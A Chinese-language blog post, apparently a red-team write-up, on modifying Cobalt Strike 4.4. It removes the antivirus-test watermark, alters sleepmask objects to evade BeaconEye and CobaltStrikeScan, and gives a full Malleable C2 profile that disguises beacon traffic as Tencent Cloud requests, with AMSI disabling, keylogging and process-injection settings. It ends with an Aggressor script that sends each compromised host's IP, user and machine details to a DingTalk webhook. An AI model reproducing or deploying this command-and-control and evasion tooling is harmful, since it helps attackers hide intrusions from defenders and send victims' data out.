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CS4.4二开记录(二)

雷神众测 | 115 7天前 0 0 0
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去水印

common/ListenerConfig.java的pad函数,注释掉

var3.append("5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*\u0000");

再复制一个

var3.append((char)CommonUtils.rand(255));

即可



TeamServer.prop

https://github.com/Cobalt-Strike/teamserver-prop/blob/main/TeamServer.prop ,可以再进行一些修改,4.4引入的,可以自定义用于验证屏幕截图和键盘记录返回数据的大小,默认是返回95%的,0就是完全返回了

# Cobalt Strike Team Server Properties# Fri May 07 12:00:00 CDT 2021# ------------------------------------------------# Validation for screenshot messages from beacons# ------------------------------------------------# limits.screenshot_validated=true# limits.screenshot_data_maxlen=4194304# limits.screenshot_user_maxlen=1024# limits.screenshot_title_maxlen=1024# Stop writing screenshot data when Disk Usage reaches XX%# Example: Off#          "limits.screenshot_diskused_percent=0"# Example: Stop writing screenshot data when Disk Usage reaches 95%#          "limits.screenshot_diskused_percent=95"# Default:# limits.screenshot_diskused_percent=95# ------------------------------------------------# Validation for keystroke messages from beacons# ------------------------------------------------# limits.keystrokes_validated=true# limits.keystrokes_data_maxlen=8192# limits.keystrokes_user_maxlen=1024# limits.keystrokes_title_maxlen=1024# Stop writing keystroke data when Disk Usage reaches XX%# Example: Off#          "limits.keystrokes_diskused_percent=0"# Example: Stop writing keystroke data when Disk Usage reaches 95%#          "limits.keystrokes_diskused_percent=95"# Default:# limits.keystrokes_diskused_percent=95limits.screenshot_diskused_percent=0limits.keystrokes_diskused_percent=0


bypass BeaconEye+CobaltStrikeScan


4.4修改下sleepmask.x64.o、sleepmask.x86.o结构即可,交换位置并不影响上线

sleepmask.x64.o位置如下

sleepmask.x86.o位置如下

然后在配合在profile里面设置set cleanup "true";即可绕过


关于Profile

推荐用这个项目https://github.com/Peithon/JustC2file

生成后在处理。最少需要2个get、1个post请求,copy出来先。


基本语法


# 注释

set 设置一些选项的值

;表示每行结尾

{}多行组合在一起


具体解析

先看开头,我直接注释上吧。

## Cobalt Strike Malleable C2 Profile## Version: Cobalt Strike 4.4## Date   : 2022-09-08 14:18:48
## Profile Name## set sample_name "CobaltStrike Beacon";
## Sleep Timesset sleeptime "47000"; # 心跳超时回连的时间set jitter "18"; # 心跳回连抖动,防止规律性导致被标记set data_jitter "107"; # 返回数据抖动
## Beacon User-Agentset useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19582";
## Self-signed SSL Certificates with SSL Beacon## Stager https-certificate { set C "AW"; set CN "www.bing.com"; set O "bing.com"; set OU "bing.com"; set validity "365";}# 设置https证书,当然不推荐用这个,可以去cloudflare或者其他的申请个免费的ssl证书然后配置下,实例如下# https-certificate {# set keystore "cobaltstrike.store";# set password "0987654321";# }
## TCP Beaconset tcp_port "27898"; # TCP默认端口set tcp_frame_header "\x80"; # 在TCP信息前追加特定字符
## SMB beaconsset pipename "mojo.5688.8052.183894939787088877## "; # 命名管道set pipename_stager "mojo.5688.8052.35780273329370473## "; # 命名管道set smb_frame_header "\x80"; # 在SMB信息前追加特定字符
## DNS beaconsdns-beacon { # Options moved into "dns-beacon" group in version 4.3 set maxdns "252"; # 通过DNS上传数据时,最大主机名长度 set dns_max_txt "248"; # txt最大传输长度 set dns_idle "223.6.6.6"; # Beacon不使用时指定到的dns地址,降低风险性 set dns_sleep "0"; # 每个单独dns请求前强制睡眠时间 set dns_stager_prepend "v=spf1 a:mail.google.com -all"; # 将字符串放在通过DNS TXT记录交付的编码有效负载阶段之前 set dns_stager_subhost ".vpn.123456."; # dns txt记录使用的子域 set dns_ttl "5"; # dns解析在服务器留存时间
# DNS subhosts override options, added in version 4.3 set beacon "a.bc."; set get_A "b.1a."; set get_AAAA "c.4a."; set get_TXT "d.tx."; set put_metadata "e.md."; set put_output "f.po."; set ns_response "zero";
}

## SSH beaconsset ssh_banner "OpenSSH_7.4 Debian (protocol 2.0)"; # 配置SSH Beacon的bannerset ssh_pipename "wkssvc## "; # 配置ssh通信命名管道
# code-signer { # 代码签名,有的话可以用# set keystore "keystore.jks";# set password "123456";# set alias "google";# }再看下http/https相关的,分阶段的beacon请求时的配置以及心跳包、任务包
## Staging processset host_stage "true";http-stager { set uri_x86 "/qcloud/portal/kit/images/message-hover.93a6b104.svg"; # x86下载url set uri_x64 "/_/qcloud/portal/kit/images/message-hover.93a6b104.svg"; # X64下载url server { # 服务端响应配置 header "Content-Type" "image/svg+xml"; header "Server" "tencent-cos"; header "Timing-Allow-Origin" "https://cloud.tencent.com"; header "Access-Control-Expose-Headers" "Content-Length, Content-Type, server_ip, x-nws-log-uuid"; output { prepend "<?xml version=\"1.0\" encoding=\"UTF-8\"?>; # 前置字符串 append "</svg>"; # 结尾字符串 print; } } client { # 客户端请求配置 header "Accept" "image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8"; header "Accept-Language" "en-US,en;q=0.5"; header "Accept-Encoding" "gzip, deflate"; }}## HTTP Headershttp-config { set headers "Date, Server, Content-Length, Keep-Alive, Connection, Content-Type"; header "Server" "Apache"; header "Keep-Alive" "timeout=10, max=100"; header "Connection" "Keep-Alive"; # Use this option if your teamserver is behind a redirector set trust_x_forwarded_for "true"; set block_useragents "curl*,lynx*,wget*";}## HTTP GEThttp-get { set uri "/qcloud/portal/kit/images/message.ab26a8d5.svg"; set verb "GET"; client { header "Accept-Encoding" "gzip, deflate"; header "Accept" "image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8"; header "Referer" "https://cloud.tencent.com/"; # header "Host" "cloudcache.tencent-cloud.com"; metadata { base64url; prepend "__Secure-3PAPISID=noskin;"; append ";CONSENT=YES+CN.zh-CN+20210917-09-0"; header "Cookie"; } } server { header "Server" "tencent-cos"; header "Content-Type" "image/svg+xml"; header "X-Cos-Hash-Crc64ecma" "6783424209691934618"; header "Accept-Ranges" "bytes"; header "Timing-Allow-Origin" "https://cloud.tencent.com"; header "Last-Modified" "Tue, 12 Jul 2022 02:49:01 GMT"; output { base64url; prepend "<?xml version=\"1.0\" encoding=\"UTF-8\"?>"; append "</g></svg>"; print; } }}## HTTP POSThttp-post { set uri "/analytics/v2_upload"; set verb "POST"; client { header "Content-Type" "application/json;charset=utf-8"; header "Origin" "https://cloud.tencent.com"; header "Accept" "application/json, text/plain, */*"; header "Referer" "https://cloud.tencent.com/"; # header "Host" "otheve.beacon.qq.com"; id { base64url; parameter "__formid"; } parameter "location" "12345654321"; output { base64url; prepend "accver=1&showtype=embed&ua="; print; } } server { header "Server" "Apache"; header "Content-Type" "text/plain"; header "Access-Control-Max-Age" "600"; header "Access-Control-Allow-Methods" "POST"; output { prepend "{\"result\": 200, \"srcGatewayIp\": "; append "1662617798236\", \"msg\": \"success\"}"; print; } }}


base64url和base64的区别

由于标准的Base64编码后可能出现字符+和/,在URL中就不能直接作为参数,所以又有一种"url safe"的base64编码,其实就是把字符+和/分别变成-和_,由于=字符也可能出现在Base64编码中,但=用在URL、Cookie里面会造成歧义,所以,Base64URL编码后会把=去掉,因为Base64是把3个字节变为4个字节,所以,Base64编码的长度永远是4的倍数,因此,需要加上=把Base64字符串的长度变为4的倍数,就可以正常解码了。

派生&注入

post-ex { # 派生的进程名、进程位置    set spawnto_x86 "%windir%\\syswow64\\spoolsv.exe";    set spawnto_x64 "%windir%\\sysnative\\spoolsv.exe";    set obfuscate "true"; # 混淆post-ex dll的内容    set smartinject "true";    set amsi_disable "true"; # 限制反恶意软件扫描接口    set pipename "netlogon_## "; # 进程管道名    set keylogger "GetAsyncKeyState"; # 选项用来控制Cobalt Strike的键盘记录器使用的函数}
process-inject { # 进程注入 set allocator "NtMapViewOfSection"; # 注入方式 set min_alloc "17500"; # 申请内存大小 set startrwx "false"; # 初始化权限 set userwx "false"; # 最终权限 transform-x86 { prepend "\x90\x90"; } transform-x64 { prepend "\x90\x90"; append "\x90\x90"; } execute { # The order is important! Each step will be attempted (if applicable) until successful ## self-injection CreateThread "ntdll!RtlUserThreadStart+0x42"; CreateThread; ## Injection via suspened processes (SetThreadContext|NtQueueApcThread-s) # SetThreadContext; NtQueueApcThread-s; # CreateRemotThread - Vanilla cross process injection technique. Doesn't cross session boundaries CreateRemoteThread; # RtlCreateUserThread - Supports all architecture dependent corner cases (e.g., 32bit -> 64bit injection) AND injection across session boundaries RtlCreateUserThread; }}


上线推送+

增加了上线beacon的外网ip的归属地,去cip查询ip归属地(如果使用域前置或者其他导致外网ip变动的隐匿手段,会导致ip归属地无意义)

## CobaltStrike 上线了!!!

外网IP:xxxxx

内网IP:10.0.0.37

用户名:ubuntu

计算机名:10-0-0-37_(Linux)

进程名:u1

进程ID:11235

上线时间:09月07日06时24分58秒

监听器:api


## 外网IP来源参考

IP : xxxxx

地址 : 中国 中国

数据二 : xxxxx省xxxxx市

数据三 : 中国xxxxx

URL : http://www.cip.cc/xxxxx

把aaaaaa改成钉钉的机器人即可,其他推送方式可以改一下就行了

把aaaaaa改成钉钉的机器人即可,其他推送方式可以改一下就行了

# 上线提醒on beacon_initial {        $DingDing_Robot_Token = 'aaaaaa';    $DingDing_Robot_Url = 'https://oapi.dingtalk.com/robot/send?access_token='.$DingDing_Robot_Token;    $Notice_Title = 'CobaltStrike 上线了!!!';        # 获取内外ip、计算机名、登录账号    $externalIP = replace(beacon_info($1, "external"), " ", "_");    $internalIP = replace(beacon_info($1, "internal"), " ", "_");    $userName = replace(beacon_info($1, "user"), " ", "_");    $computerName = replace(beacon_info($1, "computer"), " ", "_");    $processName = replace(beacon_info($1, "process"), " ", "_");    $processId = replace(beacon_info($1, "pid"), " ", "_");    $listenerName = replace(beacon_info($1, "listener"), " ", "_");
$cip = "cip.cc/$externalIP"; $cip1 = exec("curl -s $cip"); $nowtime = exec("date +%m月%d日%H时%M分%S秒"); $aaa = ''; while $read (readln($cip1)) { $aaa = "$aaa".'\n\n'."$read"; } $Info = '# '.$Notice_Title.'\n\n外网IP:'.$externalIP.'\n\n内网IP:'.$internalIP.'\n\n用户名:'.$userName.'\n\n计算机名:'.$computerName.'\n\n进程名:'.$processName.'\n\n进程ID:'.$processId.'\n\n上线时间:'.readln($nowtime).'\n\n监听器:'.$listenerName.'\n\n------------------------\n\n## 外网IP来源参考'.$aaa; @curl_command = @('curl','-H','Content-Type: application/json','-d','{"msgtype": "markdown","markdown": {"title":"'.$Notice_Title.'","text": "'.$Info.'"}}',$DingDing_Robot_Url); exec(@curl_command); }

参考

https://ucasers.cn/%E5%AF%B9cobaltstrike4.4%E7%9A%84%E7%AE%80%E5%8D%95%E9%AD%94%E6%94%B9/# title-17

https://wbglil.gitbook.io/cobalt-strike/cobalt-strikekuo-zhan/cs-jian-ce-gong-ju-cobaltstrikescan

https://blog.csdn.net/qq_45434762/article/details/121738655

https://wbglil.gitbook.io/cobalt-strike/cobalt-strikekuo-zhan/malleable-c2


安恒信息

杭州亚运会网络安全服务官方合作伙伴

成都大运会网络信息安全类官方赞助商

武汉军运会、北京一带一路峰会

青岛上合峰会、上海进博会

厦门金砖峰会、G20杭州峰会

支撑单位北京奥运会等近百场国家级

重大活动网络安保支撑单位

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